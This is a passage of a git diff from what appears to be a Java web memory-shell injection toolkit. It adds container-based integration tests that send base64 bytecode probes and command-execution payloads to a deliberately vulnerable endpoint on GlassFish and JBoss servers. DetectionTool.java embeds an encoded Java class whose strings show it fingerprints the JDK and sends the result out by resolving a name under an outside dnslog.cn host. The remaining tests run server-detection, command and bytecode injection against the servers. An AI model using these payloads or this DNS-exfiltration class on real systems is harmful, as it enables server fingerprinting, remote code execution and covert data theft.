Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); } public static String getUrl() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java similarity index 88% rename from integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java index 8c43ae92..1c033570 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob230ContainerTest.java @@ -1,5 +1,6 @@ -package com.reajason.javaweb.integration.xxljob; +package com.reajason.javaweb.integration.memshell.xxljob; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; @@ -20,7 +21,7 @@ import java.util.List; import java.util.stream.Stream; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -55,7 +56,7 @@ public class XxlJob230ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); + ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); } public static String getUrl() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java new file mode 100644 index 00000000..42540ee7 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java @@ -0,0 +1,49 @@ +package com.reajason.javaweb.integration.probe; + +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.probe.payload.BasicInfoPrinter; +import com.reajason.javaweb.probe.payload.JdkProbe; +import com.reajason.javaweb.probe.payload.ServerProbe; +import com.reajason.javaweb.util.ClassDefiner; +import net.bytebuddy.ByteBuddy; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/7/28 + */ +public class DetectionTool { + + public static String getBase64Class(Class clazz) { + return Base64.encodeBase64String(new ByteBuddy() + .redefine(clazz) + .name(CommonUtil.generateShellClassName()) + .visit(TargetJreVersionVisitorWrapper.DEFAULT) + .make().getBytes()); + } + + public static String getJdkDetection() { + return getBase64Class(JdkProbe.class); + } + + public static String getBasicInfoPrinter() { + return getBase64Class(BasicInfoPrinter.class); + } + + public static String getServerDetection() { + return getBase64Class(ServerProbe.class); + } + + @Test + void test() { + System.out.println(getServerDetection()); + } + + @Test + void testBase() { + byte[] bytes = Base64.decodeBase64("yv66vgAAADIAeQEAJW9yZy9hcGFjaGUvY29tbW9ucy9EcExrTC9FcnJvckhhbmRsZXIHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAEaG9zdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAEG01OTV6Yi5kbnNsb2cuY24IAAcBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwALDAAJAAoKAAQADQEABmdldEpkawEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAPABAKAAIAEQEAAlx8CAATAQAQamF2YS9sYW5nL1N0cmluZwcAFQEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7DAAXABgKABYAGQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwAbCgAcAA0BAAhqZGtUeXBlLggAHgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwwAIAAhCgAcACIBAAh0b1N0cmluZwwAJAAQCgAcACUBAAxqYXZhVmVyc2lvbi4IACcBABFjbGFzc0ZpbGVWZXJzaW9uLggAKQEAE1tMamF2YS9sYW5nL1N0cmluZzsHACsBAAEuCAAtDAAFAAYJAAIALwEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAxAQAMZ2V0QWxsQnlOYW1lAQArKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbmV0L0luZXRBZGRyZXNzOwwAMwA0CgAyADUBAAlqYXZhLmhvbWUIADcBABBqYXZhL2xhbmcvU3lzdGVtBwA5AQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAOwA8CgA6AD0BAAxqYXZhL2lvL0ZpbGUHAD8BAA1zZXBhcmF0b3JDaGFyAQABQwwAQQBCCQBAAEMBAAlqYXZhYy5leGUIAEUBAAVqYXZhYwgARwEAA2JpbggASQEACXNlcGFyYXRvcgwASwAGCQBAAEwBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYMAAkATgoAQABPAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFEKAEAAUgEADWdldFBhcmVudEZpbGUBABAoKUxqYXZhL2lvL0ZpbGU7DABUAFUKAEAAVgEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWDAAJAFgKAEAAWQEABmV4aXN0cwEAAygpWgwAWwBcCgBAAF0BAANKREsIAF8BAANKUkUIAGEBAAxqYXZhLnZlcnNpb24IAGMBABBqYXZhL2xhbmcvRG91YmxlBwBlAQASamF2YS5jbGFzcy52ZXJzaW9uCABnCgBmAFIBAAhpbnRWYWx1ZQEAAygpSQwAagBrCgBmAGwBAAd2YWx1ZU9mAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7DABuAG8KABYAcAEAAXwIAHIBAAg8Y2xpbml0PgoAAgANAQANQ29uc3RhbnRWYWx1ZQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAQAJAAUABgABAHYAAAACAAgAAwABAAkACgABAHcAAADtAAYACAAAAJsqtwAOKrcAEhIUtgAaTAa9ABZZA7sAHFm3AB0SH7YAIysDMrYAI7YAJlNZBLsAHFm3AB0SKLYAIysEMrYAI7YAJlNZBbsAHFm3AB0SKrYAIysFMrYAI7YAJlNNLE4tvjYEAzYFFQUVBKIAMi0VBTI6BrsAHFm3AB0ZBrYAIxIutgAjsgAwtgAjtgAmuAA2V6cABToHhAUBp//NsQABAHEAjwCSAAwAAQB4AAAAOAAE/wBkAAYHAAIHACwHACwHACwBAQAA/wAtAAcHAAIHACwHACwHACwBAQcAFgABBwAM+gAB+AAFAAIADwAQAAEAdwAAATcABQAKAAAA0gFMKk0AAacAA00SOLgAPk6yAEQQXKAACBJGpwAFEkg6BLsAQFktuwAcWbcAHRJKtgAjsgBNtgAjGQS2ACO2ACa3AFA6BbsAQFm7AEBZLbcAU7YAV7sAHFm3AB0SSrYAI7IATbYAIxkEtgAjtgAmtwBaOgYZBbYAXpoACxkGtgBemQAIEmCnAAUSYjoHEmS4AD46CLsAZlkSaLgAPrcAabYAbbgAcToJuwAcWbcAHRkHtgAjEnO2ACMZCLYAIxJztgAjGQm2ACO2ACZZTacAA0wssAAAAAEAeAAAAFMAC/wAAgcAFvwAAQcAAv8ABAACBwACBwAWAAEHABb8AAAHABb8ABIHABZBBwAW/gBjBwAWBwBABwBABEEHABb/AEQAAwcAAgcAFgcAFgABBwAWAAAIAHQACgABAHcAAAAnAAIAAAAAABGnAA0AuwACWbcAdVexAKf/9QAAAAEAeAAAAAQAAgMJAAA="); + ClassDefiner.defineClass(bytes); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java new file mode 100644 index 00000000..fdbae304 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java @@ -0,0 +1,81 @@ +package com.reajason.javaweb.integration.probe.glassfish; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.time.Duration; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class GlassFish3ContainerTest { + public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(8080); + @BeforeAll + static void setup() { + container.waitingFor(Wait.forHttp("/app/")); + } + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.6.0_45|50", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.GLASSFISH, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java new file mode 100644 index 00000000..dd3c4c63 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java @@ -0,0 +1,87 @@ +package com.reajason.javaweb.integration.probe.glassfish; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.time.Duration; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class GlassFish4ContainerTest { + public static final String imageName = "reajason/glassfish:4.1.2-quick"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(8080); + + @BeforeAll + static void setup() { + container.waitingFor(Wait.forHttp("/app/")); + } + @AfterAll + static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_271|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.GLASSFISH, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java new file mode 100644 index 00000000..8c03b0c6 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.probe.glassfish; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class GlassFish501ContainerTest { + public static final String imageName = "reajason/glassfish:5.0.1"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withExposedPorts(8080); + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_411|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.GLASSFISH, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java new file mode 100644 index 00000000..e55b8ea7 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.glassfish; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class GlassFish510ContainerTest { + public static final String imageName = "reajason/glassfish:5.1.0"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withExposedPorts(8080); + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_411|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.GLASSFISH, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java new file mode 100644 index 00000000..748b5f68 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.integration.probe.glassfish; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class GlassFish6ContainerTest { + public static final String imageName = "reajason/glassfish:6.2.6-jdk11"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|11.0.16|55", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.GLASSFISH, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java new file mode 100644 index 00000000..10d3c97c --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java @@ -0,0 +1,81 @@ +package com.reajason.javaweb.integration.probe.glassfish; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class GlassFish7ContainerTest { + public static final String imageName = "reajason/glassfish:7.0.20-jdk17"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*startup time.*", 1)) + .withExposedPorts(8080); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|17.0.2|61", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.GLASSFISH, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V17); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java new file mode 100644 index 00000000..8a4a2f21 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss423ContainerTest.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.integration.probe.jbossas; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Jboss423ContainerTest { + public static final String imageName = "reajason/jboss:4-jdk6"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war") + .withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.6.0_45|50", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JBOSS, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java new file mode 100644 index 00000000..51249613 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbossas/Jboss510ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.jbossas; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Jboss510ContainerTest { + public static final String imageName = "reajason/jboss:5-jdk6"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.6.0_45|50", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JBOSS, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JBOSS, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + 